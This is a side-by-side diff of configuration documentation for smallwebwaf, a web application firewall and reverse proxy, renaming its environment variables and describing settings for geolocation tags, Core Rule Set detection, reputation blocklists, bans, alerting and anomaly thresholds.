- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||||
- `SWW_WAF_ADD_LOOKUP_HEADERS`;
|
- `SWW_ADD_LOOKUP_HEADERS`;
|
||||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
|
||||||
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
|
||||||
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
|
||||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
|
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||||
- an anomaly threshold per AS number.
|
- an anomaly threshold per AS number.
|
||||||
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
|
||||||
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
|
||||||
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||||
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||||
duration; never `off`.
|
duration; never `off`.
|
||||||
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
|
||||||
app the client's AS number in `X-Client-ASN` and its country in
|
the client's AS number in `X-Client-ASN` and its country in
|
||||||
`X-Client-Country`.
|
`X-Client-Country`.
|
||||||
|
|
||||||
## Country list
|
## Country list
|
||||||
|
|
||||||
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||||
countries whose clients get through, such as `us,de`. A country whose
|
countries whose clients get through, such as `us,de`. A country whose
|
||||||
`country=` tag is in `SWW_WAF_TAG_DENY` stops the start.
|
`country=` tag is in `SWW_TAG_DENY` stops the start.
|
||||||
|
|
||||||
## Request tags
|
## Request tags
|
||||||
|
|
||||||
Every request gets tags from what `waf` knows of its client. See "Request tags"
|
Every request gets tags from what `waf` knows of its client. See "Request tags"
|
||||||
in [`SPEC.md`](../SPEC.md).
|
in [`SPEC.md`](../SPEC.md).
|
||||||
|
|
||||||
- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as
|
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||||
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
||||||
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
||||||
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
|
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
|
||||||
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
|
or the CrowdSec decision list.
|
||||||
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
|
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||||
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
||||||
`country=` tag without a country, is refused.
|
`country=` tag without a country, is refused.
|
||||||
- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's
|
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
|
||||||
limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A
|
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
|
||||||
percentage is from `1` to `99`, of every rate limit and byte limit. The lowest
|
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
|
||||||
percentage among a client's tags applies. A tag listed twice is refused. So is
|
client's tags applies. A tag listed twice is refused. So is
|
||||||
`exploitsignature`: a request gets that tag after the rate limits have counted
|
`exploitsignature`: a request gets that tag after the rate limits have counted
|
||||||
it.
|
it.
|
||||||
|
|
||||||
- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||||
service that gives an address's announced netblock and origin AS. `waf` asks
|
service that gives an address's announced netblock and origin AS. `waf` asks
|
||||||
it about each client, in the background, and adds the tags `asn=<number>` and
|
it about each client, in the background, and adds the tags `asn=<number>` and
|
||||||
`prefix=<netblock>` from its answer. While it is unset, nothing asks
|
`prefix=<netblock>` from its answer. While it is unset, nothing asks
|
||||||
routewatch and no request gets a `prefix=` tag.
|
routewatch and no request gets a `prefix=` tag.
|
||||||
|
|
||||||
`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A
|
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||||
tag that no request can get stops the start. A request can get only these:
|
that no request can get stops the start. A request can get only these:
|
||||||
|
|
||||||
- a name in `SWW_WAF_TAG_LISTS`;
|
- a name in `SWW_TAG_LISTS`;
|
||||||
- an `asn=` or `country=` tag;
|
- an `asn=` or `country=` tag;
|
||||||
- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It
|
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
|
||||||
matches only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||||
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
|
||||||
masked as the `reputation` field shows it;
|
masked as the `reputation` field shows it;
|
||||||
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
|
||||||
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
|
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
|
||||||
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
|
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
|
||||||
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
|
`off`.
|
||||||
|
|
||||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||||
the request first.
|
the request first.
|
||||||
|
|
||||||
## Biased thresholds
|
## Biased thresholds
|
||||||
|
|
||||||
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
|
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
|
||||||
empty): a percentage of the byte limits alone, for the AS numbers or countries
|
percentage of the byte limits alone, for the AS numbers or countries listed,
|
||||||
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||||
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
|
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
|
||||||
or country listed twice is refused.
|
country listed twice is refused.
|
||||||
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
|
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
|
||||||
the lookup cannot place.
|
lookup cannot place.
|
||||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
|
||||||
a text file with one AS number and percentage on each line, such as
|
text file with one AS number and percentage on each line, such as
|
||||||
`AS64496:50`. Each entry counts like an `asn=` tag in
|
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
|
||||||
`SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is
|
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
|
||||||
refused.
|
|
||||||
|
|
||||||
## Attack detection
|
## Attack detection
|
||||||
|
|
||||||
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
|
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
|
||||||
files.
|
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||||
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||||
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
|
||||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
|
||||||
paranoia level, from 1 to 4.
|
from 1 to 4.
|
||||||
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
|
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
|
||||||
request is a match. A whole number above zero, or `off`.
|
match. A whole number above zero, or `off`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
- `SWW_WAF_DISABLED_RULES` (default
|
||||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||||
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
||||||
refused: those are the rules that set the Core Rule Set up, and
|
refused: those are the rules that set the Core Rule Set up, and
|
||||||
`smallwebwaf`'s own.
|
`smallwebwaf`'s own.
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
|
||||||
Rule Set does not inspect.
|
not inspect.
|
||||||
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
|
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
|
||||||
request body the Core Rule Set reads, a size of at most `64K`. A question
|
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
|
||||||
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
|
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
|
||||||
KiB less one byte of it, whatever the value (see "The answer" in
|
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
|
||||||
[`SPEC.md`](../SPEC.md)).
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
exclusions, written as Coraza directives. It is loaded before the Core Rule
|
||||||
Set exclusions, written as Coraza directives. It is loaded before the Core
|
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
|
||||||
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
|
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
|
||||||
exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that
|
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
|
||||||
cannot be read or does not parse stops the start, whatever
|
file that names a number from 900000 to 900999 outside a comment, alone or in
|
||||||
`SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from
|
a range. So does a directive that removes or changes rules as the file loads,
|
||||||
900000 to 900999 outside a comment, alone or in a range. So does a directive
|
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||||
that removes or changes rules as the file loads, such as `SecRuleRemoveById`,
|
yet. It has no `_FILE` form.
|
||||||
since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form.
|
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||||
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
|
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
|
|
||||||
## Ban lengths, response and scope
|
## Ban lengths, response and scope
|
||||||
|
|
||||||
- `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||||
- `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit.
|
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
|
||||||
A duration.
|
duration.
|
||||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||||
within which breaking a limit again lengthens the next ban. A duration.
|
within which breaking a limit again lengthens the next ban. A duration.
|
||||||
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
|
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
|
||||||
one that would be longer is permanent. A duration.
|
that would be longer is permanent. A duration.
|
||||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
|
||||||
of attack. A duration.
|
attack. A duration.
|
||||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||||
covers: the prefix length of its netblock, from 0 to 32.
|
covers: the prefix length of its netblock, from 0 to 32.
|
||||||
|
|
||||||
## Reputation
|
## Reputation
|
||||||
|
|
||||||
- `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
|
||||||
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
|
||||||
without a user or a fragment. A URL listed twice is refused.
|
without a user or a fragment. A URL listed twice is refused.
|
||||||
- `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
|
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
|
||||||
last try before it is fetched again. A duration of `1h` or more.
|
try before it is fetched again. A duration of `1h` or more.
|
||||||
- `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or
|
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
|
||||||
`log`.
|
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
||||||
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
|
|
||||||
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
|
||||||
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
|
||||||
is refused, whatever its case or key.
|
is refused, whatever its case or key.
|
||||||
- `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones
|
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
|
||||||
through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an
|
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
|
||||||
optional port, 53 when none is given. Unset, the host's resolver is used.
|
port, 53 when none is given. Unset, the host's resolver is used.
|
||||||
- `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
|
||||||
control character in it is refused.
|
control character in it is refused.
|
||||||
- `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence
|
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
|
||||||
score, from 0 to 100, that is a hit.
|
from 0 to 100, that is a hit.
|
||||||
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
|
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
|
||||||
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||||
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
|
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
|
||||||
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
|
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
|
||||||
without a user or a fragment; its decision list is at `v1/decisions` under it.
|
user or a fragment; its decision list is at `v1/decisions` under it. Set
|
||||||
Set without the key, it is refused. So is a decision list URL that is also in
|
without the key, it is refused. So is a decision list URL that is also in
|
||||||
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
|
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
|
||||||
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||||
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||||
URL, it is refused.
|
URL, it is refused.
|
||||||
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||||
`log`, for DNS blocklist and AbuseIPDB hits.
|
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||||
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||||
AbuseIPDB's score is used. A duration.
|
AbuseIPDB's score is used. A duration.
|
||||||
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
|
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
|
||||||
check with AbuseIPDB may take. A duration.
|
with AbuseIPDB may take. A duration.
|
||||||
|
|
||||||
## Alerting
|
## Alerting
|
||||||
|
|
||||||
- `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
|
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
|
||||||
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
|
as a JSON object. An `http` or `https` URL without a user or a fragment.
|
||||||
- `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
|
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
|
||||||
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
|
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
|
||||||
value. A value cannot hold a comma.
|
value cannot hold a comma.
|
||||||
- `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
|
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
|
||||||
that receives each alert as a message, checked as the webhook URL is.
|
receives each alert as a message, checked as the webhook URL is.
|
||||||
- `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
|
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
|
||||||
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
|
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
|
||||||
as the webhook URL is.
|
webhook URL is.
|
||||||
- `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
|
||||||
character in it is refused.
|
character in it is refused.
|
||||||
- `SWW_WAF_ALERT_EVENTS` (default
|
- `SWW_ALERT_EVENTS` (default
|
||||||
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
|
||||||
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
|
||||||
but `summary`. Any other name is refused.
|
but `summary`. Any other name is refused.
|
||||||
- `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
|
||||||
repeats are held back. A duration or `off`.
|
repeats are held back. A duration or `off`.
|
||||||
- `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour.
|
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
|
||||||
A whole number above zero, or `off`.
|
whole number above zero, or `off`.
|
||||||
|
|
||||||
## Anomaly thresholds
|
## Anomaly thresholds
|
||||||
|
|
||||||
Each scope has four thresholds: the most requests and the most body bytes
|
Each scope has four thresholds: the most requests and the most body bytes
|
||||||
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
|
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
|
||||||
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||||
thresholds per client are:
|
thresholds per client are:
|
||||||
|
|
||||||
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||||
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||||
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||||
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||||
|
|
||||||
The other scopes' names have another prefix before the same four endings, such
|
The other scopes' names have another prefix before the same four endings, such
|
||||||
as `REQUESTS_PER_MINUTE`:
|
as `REQUESTS_PER_MINUTE`:
|
||||||
|
|
||||||
- `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||||
netblock's length:
|
netblock's length:
|
||||||
- `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||||
client;
|
client;
|
||||||
- `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||||
client.
|
client.
|
||||||
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
- `SWW_ANOMALY_ASN_...`: per AS number.
|
||||||
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
- `SWW_ANOMALY_TOTAL_...`: the whole service.
|
||||||
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
|
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
|
||||||
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
|
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
|
||||||
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||||
name, or with a bad netblock, is refused. So is a name used twice.
|
name, or with a bad netblock, is refused. So is a name used twice.
|
||||||
|
|
||||||
## Settings given as files
|
## Settings given as files
|
||||||
@@ -385,7 +379,7 @@ Then mount its directory into the container read-only, and name the file:
|
|||||||
docker run \
|
docker run \
|
||||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||||
-e SWW_COMMAND=waf \
|
-e SWW_COMMAND=waf \
|
||||||
-e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -408,53 +402,51 @@ A few limits are fixed rather than settings:
|
|||||||
|
|
||||||
## `waf`'s answer and `rproxy`'s wait
|
## `waf`'s answer and `rproxy`'s wait
|
||||||
|
|
||||||
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
|
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||||
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
|
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||||
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
|
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||||
AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
|
in the background (see "Answering in time" under "`waf`" in
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## `rproxy`
|
## `rproxy`
|
||||||
|
|
||||||
`sww rproxy` reads the settings below and no others. They are read once at
|
`sww rproxy` reads the settings below and no others. They are read once at
|
||||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
start, and an invalid value stops the start. None can be given as a file, since
|
||||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
|
||||||
|
they do.
|
||||||
|
|
||||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||||
|
|
||||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https`
|
||||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
URL with a host and an optional port, and nothing more. `rproxy` speaks
|
||||||
speaks HTTP/1.1 to it.
|
HTTP/1.1 to it.
|
||||||
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
||||||
answer, to a question and to a report. A time; never `off`.
|
answer, to a question and to a report. A time; never `off`.
|
||||||
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
|
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||||
request when `waf` cannot be connected to, does not answer at all, or does not
|
`waf` cannot be connected to, does not answer at all, or does not answer
|
||||||
answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and
|
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
|
||||||
`deny` answers `503`. It does not apply to an answer `waf` gives, such as an
|
`503`. It does not apply to an answer `waf` gives, such as an error.
|
||||||
error.
|
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||||
